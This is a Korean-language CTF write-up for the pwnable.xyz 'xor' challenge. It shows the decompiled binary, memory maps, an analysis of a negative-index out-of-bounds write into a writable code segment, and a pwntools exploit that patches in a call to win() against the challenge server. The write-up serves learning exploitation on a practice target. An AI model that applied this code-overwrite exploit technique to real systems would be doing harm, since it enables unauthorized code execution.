Wargame

[pwnable.xyz] xor

_daeseong_ 2025. 2. 4. 08:01

소스코드

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-24h]
  __int64 v4; // [rsp+10h] [rbp-20h] BYREF
  __int64 v5; // [rsp+18h] [rbp-18h] BYREF
  __int64 v6; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 canary; // [rsp+28h] [rbp-8h]

  canary = __readfsqword(0x28u);
  puts("The Poopolator");
  setup("The Poopolator", argv);
  while ( 1 )
  {
    v6 = 0LL;
    printf("> 💩   ");
    v3 = _isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6);
    if ( !v4 || !v5 || !v6 || v6 > 9 || v3 != 3 )
      break;
    result[v6] = v5 ^ v4;
    printf("Result: %ld\n", result[v6]);
  }
  exit(1);
}
int _do_global_ctors_aux()
{
  _DWORD *addr; // [rsp+8h] [rbp-8h]

  for ( addr = (_do_global_ctors_aux & 0xFFFFFFFFFFFFF000LL); *addr != 1179403647; addr += 2 )
    ;
  return mprotect(addr, 0x1000uLL, 7);
}
int win()
{
  return system("cat flag");
}
File:     /mnt/a/pwnable.xyz/xor/challenge
Arch:     amd64
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        PIE enabled
Stripped:   No

분석

메인함수에서 전역변수인 result에 대한 OOB가 터진다 그런데 인덱스인 v6가 9보다 작아야 한다는 조건이 걸려있다.

그래서 음수로 덮을만한 곳을 살펴보려고 vmmap을 했는데 이상한 것을 발견헀다

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x555555400000     0x555555401000 rwxp     1000      0 /mnt/a/pwnable.xyz/xor/challenge
    0x555555601000     0x555555602000 r--p     1000   1000 /mnt/a/pwnable.xyz/xor/challenge
    0x555555602000     0x555555603000 rw-p     1000   2000 /mnt/a/pwnable.xyz/xor/challenge
    0x7ffff7d7d000     0x7ffff7d80000 rw-p     3000      0 [anon_7ffff7d7d]
    0x7ffff7d80000     0x7ffff7da8000 r--p    28000      0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7da8000     0x7ffff7f3d000 r-xp   195000  28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7f3d000     0x7ffff7f95000 r--p    58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7f95000     0x7ffff7f96000 ---p     1000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7f96000     0x7ffff7f9a000 r--p     4000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7f9a000     0x7ffff7f9c000 rw-p     2000 219000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7f9c000     0x7ffff7fa9000 rw-p     d000      0 [anon_7ffff7f9c]
    0x7ffff7fbb000     0x7ffff7fbd000 rw-p     2000      0 [anon_7ffff7fbb]
    0x7ffff7fbd000     0x7ffff7fc1000 r--p     4000      0 [vvar]
    0x7ffff7fc1000     0x7ffff7fc3000 r-xp     2000      0 [vdso]
    0x7ffff7fc3000     0x7ffff7fc5000 r--p     2000      0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc5000     0x7ffff7fef000 r-xp    2a000   2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fef000     0x7ffff7ffa000 r--p     b000  2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000  37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000  39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffffffdd000     0x7ffffffff000 rw-p    22000      0 [stack]

오잉? 코드영역이 rwx권한이다 그래서 왜 그런가 보니까 init_array에 등록되어 있는 함수 중에 code영역을 rwx로 mprotect 하는 함수가 있었다.

그래서 음수 OOB로 코드영역을 수정할 수 있고 win 함수도 있어서 call win을 코드영역에 박아 넣었다.

 

exp.py

from pwn import *
context.arch = "amd64"
#p = process("./challenge")
p = remote("svc.pwnable.xyz",30029)
e = ELF("./challenge")
code = u64(asm(f"""
call . -{e.symbols['main']+0xDC-e.symbols['win']}
""").ljust(0x8,b"\x00"))
p.sendlineafter(b"> ",f"{5^code} {5} {str(-262878)}".encode())
p.interactive()